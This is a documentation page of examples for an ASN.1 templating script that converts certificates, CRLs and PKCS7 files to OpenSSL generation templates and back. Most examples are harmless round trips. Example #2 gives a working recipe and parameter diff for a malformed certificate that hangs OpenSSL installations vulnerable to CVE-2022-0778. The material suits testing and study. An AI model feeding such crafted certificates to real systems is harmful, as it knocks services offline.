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ASN.1 templating - Examples

Example #1 - DER Encoded Certificate

Take an arbitrary DER encoded certificate:

$ wget -o /dev/null https://pki.goog/repo/certs/gtsr1.der

Convert it to an ASN1_generate_nconf(3) compatible textual description:

$ ./asn1template.pl gtsr1.der > gtsr1.tpl

Convert it back to DER encoded ASN.1 with ASN1_generate_nconf(3):

$ openssl asn1parse -genconf gtsr1.tpl -noout -out gtsr1_new.der

Original and recreated DER files are identical:

$ diff gtsr1.der gtsr1_new.der 
$ echo $?
0

Example #2 - CVE-2022-0778

This example is related to CVE-2022-0778. It is based on https://github.com/drago-96/CVE-2022-0778 and this particular PR drago-96/CVE-2022-0778#4 .

Following the details presented in drago-96/CVE-2022-0778#4 , first, generate a new EC private key:

$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed

Then use it to generate a self signed certificate:

$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"

We can then generate a template from this certificate:

$ ./asn1template.pl cert.der > cert.tpl
$ cat cert.tpl
asn1 = SEQUENCE:seq1@0-4-583
[seq1@0-4-583]
field2@4-4-493 = SEQUENCE:seq2@4-4-493
field3@501-2-10 = SEQUENCE:seq3@501-2-10
field4@513-2-72 = FORMAT:HEX,BITSTRING:304502203C5C763C73F1CD1E74A0587B02F87DDABE1506F77C8330E81F012DE4EE1447B6022100D8B0192CC9B8E824A424EA2947697991F72A1FBCC7F1F48394B16E91D0D6D16C
[seq2@4-4-493]
field5@8-2-3 = IMPLICIT:0C,SEQUENCE:seq4@8-2-3
field6@13-2-20 = INTEGER:0x3D81E9817BE34F53F6F6B0DA5C7D0920DFDAB4BF
field7@35-2-10 = SEQUENCE:seq5@35-2-10
field8@47-2-15 = SEQUENCE:seq6@47-2-15
field9@64-2-30 = SEQUENCE:seq7@64-2-30
field10@96-2-15 = SEQUENCE:seq8@96-2-15
field11@113-4-299 = SEQUENCE:seq9@113-4-299
field12@416-2-83 = IMPLICIT:3C,SEQUENCE:seq10@416-2-83
[seq4@8-2-3]
field13@10-2-1 = INTEGER:0x02
[seq5@35-2-10]
field14@37-2-8 = OBJECT:ecdsa-with-SHA256
[seq6@47-2-15]
field15@49-2-13 = SET:set11@49-2-13
[set11@49-2-13]
field16@51-2-11 = SEQUENCE:seq12@51-2-11
[seq12@51-2-11]
field17@53-2-3 = OBJECT:commonName
field18@58-2-4 = FORMAT:UTF8,UTF8String:"TEST"
[seq7@64-2-30]
field19@66-2-13 = UTCTIME:220818134153Z
field20@81-2-13 = UTCTIME:230813134153Z
[seq8@96-2-15]
field21@98-2-13 = SET:set13@98-2-13
[set13@98-2-13]
field22@100-2-11 = SEQUENCE:seq14@100-2-11
[seq14@100-2-11]
field23@102-2-3 = OBJECT:commonName
field24@107-2-4 = FORMAT:UTF8,UTF8String:"TEST"
[seq9@113-4-299]
field25@117-4-259 = SEQUENCE:seq15@117-4-259
field26@380-2-34 = FORMAT:HEX,BITSTRING:03D927DDD6F9FD08510ED8AAAFFA847F84B5B4C108D9B857766BE80AA2F3DFEE72
[seq15@117-4-259]
field27@121-2-7 = OBJECT:id-ecPublicKey
field28@130-3-247 = SEQUENCE:seq16@130-3-247
[seq16@130-3-247]
field29@133-2-1 = INTEGER:0x01
field30@136-2-44 = SEQUENCE:seq17@136-2-44
field31@182-2-91 = SEQUENCE:seq18@182-2-91
field32@275-2-65 = FORMAT:HEX,OCTETSTRING:046B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C2964FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
field33@342-2-33 = INTEGER:0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
field34@377-2-1 = INTEGER:0x01
[seq17@136-2-44]
field35@138-2-7 = OBJECT:prime-field
field36@147-2-33 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
[seq18@182-2-91]
field37@184-2-32 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
field38@218-2-32 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
field39@252-2-21 = FORMAT:HEX,BITSTRING:C49D360886E704936A6678E1139D26B7819F7E90
[seq10@416-2-83]
field40@418-2-81 = SEQUENCE:seq19@418-2-81
[seq19@418-2-81]
field41@420-2-29 = SEQUENCE:seq20@420-2-29
field42@451-2-31 = SEQUENCE:seq21@451-2-31
field43@484-2-15 = SEQUENCE:seq22@484-2-15
[seq20@420-2-29]
field44@422-2-3 = OBJECT:X509v3 Subject Key Identifier
field45@427-2-22 = FORMAT:HEX,OCTETSTRING:0414F1D34876BCCF7BA9CA045F654CD7BF1EF715AA81
[seq21@451-2-31]
field46@453-2-3 = OBJECT:X509v3 Authority Key Identifier
field47@458-2-24 = FORMAT:HEX,OCTETSTRING:30168014F1D34876BCCF7BA9CA045F654CD7BF1EF715AA81
[seq22@484-2-15]
field48@486-2-3 = OBJECT:X509v3 Basic Constraints
field49@491-2-1 = BOOLEAN:true
field50@494-2-5 = FORMAT:HEX,OCTETSTRING:30030101FF
[seq3@501-2-10]
field51@503-2-8 = OBJECT:ecdsa-with-SHA256

Change some of the values in the template according to https://github.com/drago-96/CVE-2022-0778 and drago-96/CVE-2022-0778#4 :

$ diff -u cert.tpl cert_new.tpl
--- cert.tpl	2022-08-18 15:42:00.593000000 +0200
+++ cert_new.tpl	2022-08-18 15:44:01.220000000 +0200
@@ -48,11 +48,11 @@
 field34@377-2-1 = INTEGER:0x01
 [seq17@136-2-44]
 field35@138-2-7 = OBJECT:prime-field
-field36@147-2-33 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
+field36@147-2-33 = INTEGER:0x2B9
 [seq18@182-2-91]
-field37@184-2-32 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
-field38@218-2-32 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
-field39@252-2-21 = FORMAT:HEX,BITSTRING:C49D360886E704936A6678E1139D26B7819F7E90
+field37@184-2-32 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
+field38@218-2-32 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
+field39@252-2-21 = FORMAT:HEX,BITSTRING:0308
 [seq10@416-2-83]
 field40@418-2-81 = SEQUENCE:seq19@418-2-81
 [seq19@418-2-81]

Then convert the template back to DER encoded ASN.1:

$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der

Finally, try to display this certificate with a CVE-2022-0778 vulnerable OpenSSL installation:

$ openssl x509 -inform DER -in cert_new.der -noout -text

Example #3 - CRL file and PKCS7

It works on certificates, but, more generally, on arbitrary DER encoded ASN.1 blobs. Here is the same as example #1 but with a CRL file:

$ wget -o /dev/null https://crl.pki.goog/gtsr1/gtsr1.crl
$ ./asn1template.pl gtsr1.crl > gtsr1.tpl
$ openssl asn1parse -genconf gtsr1.tpl -noout -out gtsr1_new.crl
$ diff gtsr1.crl gtsr1_new.crl
$ echo $?
0

Or with an smime.p7s email signature taken from https://datatracker.ietf.org/doc/html/rfc4134 (page 87):

$ cat <<EOF > smime.p7s.base64
MIIDdwYJKoZIhvcNAQcCoIIDaDCCA2QCAQExCTAHBgUrDgMCGjALBgkqhkiG9w0BBwGgggL
gMIIC3DCCApugAwIBAgICAMgwCQYHKoZIzjgEAzASMRAwDgYDVQQDEwdDYXJsRFNTMB4XDT
k5MDgxNzAxMTA0OVoXDTM5MTIzMTIzNTk1OVowEzERMA8GA1UEAxMIQWxpY2VEU1MwggG2M
IIBKwYHKoZIzjgEATCCAR4CgYEAgY3N7YPqCp45PsJIKKPkR5PdDteoDuxTxauECE//lOFz
SH4M1vNESNH+n6+koYkv4dkwyDbeP5u/t0zcX2mK5HXQNwyRCJWb3qde+fz0ny/dQ6iLVPE
/sAcIR01diMPDtbPjVQh11Tl2EMR4vf+dsISXN/LkURu15AmWXPN+W9sCFQDiR6YaRWa4E8
baj7g3IStii/eTzQKBgCY40BSJMqo5+z5t2UtZakx2IzkEAjVc8ssaMMMeUF3dm1nizaoFP
VjAe6I2uG4Hr32KQiWn9HXPSgheSz6Q+G3qnMkhijt2FOnOLl2jB80jhbgvMAF8bUmJEYk2
RL34yJVKU1a14vlz7BphNh8Rf8K97dFQ/5h0wtGBSmA5ujY5A4GEAAKBgFzjuVp1FJYLqXr
d4z+p7Kxe3L23ExE0phaJKBEj2TSGZ3V1ExI9Q1tv5VG/+onyohs+JH09B41bY8i7RaWgSu
OF1s4GgD/oI34a8iSrUxq4Jw0e7wi/ZhSAXGKsZfoVi/G7NNTSljf2YUeyxDKE8H5BQP1Gp
2NOM/Kl4vTyg+W4o4GBMH8wDAYDVR0TAQH/BAIwADAOBgNVHQ8BAf8EBAMCBsAwHwYDVR0j
BBgwFoAUcEQ+gi5vh95K03XjPSC8QyuT8R8wHQYDVR0OBBYEFL5sobPjwfftQ3CkzhMB4v3
jl/7NMB8GA1UdEQQYMBaBFEFsaWNlRFNTQGV4YW1wbGUuY29tMAkGByqGSM44BAMDMAAwLQ
IUVQykGR9CK4lxIjONg2q1PWdrv0UCFQCfYVNSVAtcst3a53Yd4hBSW0NevTFjMGECAQEwG
DASMRAwDgYDVQQDEwdDYXJsRFNTAgIAyDAHBgUrDgMCGjAJBgcqhkjOOAQDBC4wLAIUM/mG
f6gkgp9Z0XtRdGimJeB/BxUCFGFFJqwYRt1WYcIOQoGiaowqGzVI
EOF
$ base64 -d - < smime.p7s.base64 > smime.p7s
$ ./asn1template.pl smime.p7s > smime.p7s.tpl
$ openssl asn1parse -genconf smime.p7s.tpl -noout -out smime.p7s_new
$ diff smime.p7s smime.p7s_new
$ echo $?
0

Example #4 - PEM Encoded Certificate

It also works with PEM files:

$ wget -o /dev/null https://pki.goog/repo/certs/gtsr1.pem

Convert it to an ASN1_generate_nconf(3) compatible textual description:

$ ./asn1template.pl --pem gtsr1.pem > gtsr1.tpl

Convert it back to DER encoded ASN.1 with ASN1_generate_nconf(3):

$ openssl asn1parse -genconf gtsr1.tpl -noout -out gtsr1_new.der

Then back to PEM:

$ openssl x509 -inform DER -in gtsr1_new.der -outform PEM -out gtsr1_new.pem

Original and recreated PEM files are identical:

$ diff gtsr1.pem gtsr1_new.pem
$ echo $?
0

Example #5 - Explicit tags

Let's consider the following configuration template that contains an explicit tag definition:

$ cat test.tpl
asn1 = SEQUENCE:seq1
[seq1]
field1 = EXPLICIT:0A,IA5STRING:Hello World

We can generate the corresponding DER encoded file:

$ openssl asn1parse -genconf test.tpl -out test.der
    0:d=0  hl=2 l=  15 cons: SEQUENCE          
    2:d=1  hl=2 l=  13 cons: appl [ 0 ]        
    4:d=2  hl=2 l=  11 prim: IA5STRING         :Hello World

The DER encoded file can be read with the asn1parse OpenSSL app:

$ openssl asn1parse -in test.der -i -inform D
    0:d=0  hl=2 l=  15 cons: SEQUENCE          
    2:d=1  hl=2 l=  13 cons:  appl [ 0 ]        
    4:d=2  hl=2 l=  11 prim:   IA5STRING         :Hello World

We can see the entry point sequence (seq1) followed by a tagged sequence (appl [ 0 ]) containing the IA5STRING.

The template can then be extracted from the DER encoded file:

$ ./asn1template.pl test.der | tee test2.tpl
asn1 = SEQUENCE:seq1@0-2-15
[seq1@0-2-15]
field2@2-2-13 = IMPLICIT:0A,SEQUENCE:seq2@2-2-13
[seq2@2-2-13]
field3@4-2-11 = IA5STRING:"Hello\ World"

We can see that the explicit tag has been replaced by an implicitly tagged sequence (seq2).

This template can finally be used to generate the associated DER encode file:

$ openssl asn1parse -genconf test2.tpl -out test2.der 
    0:d=0  hl=2 l=  15 cons: SEQUENCE          
    2:d=1  hl=2 l=  13 cons: appl [ 0 ]        
    4:d=2  hl=2 l=  11 prim: IA5STRING         :Hello World

Both DER encoded files are identical. test.der originates from a configuration template with an explicit tag, test2.der originates from an equivalent configuration template containing an implicit tag:

$ diff test.der test2.der
$ echo $?
0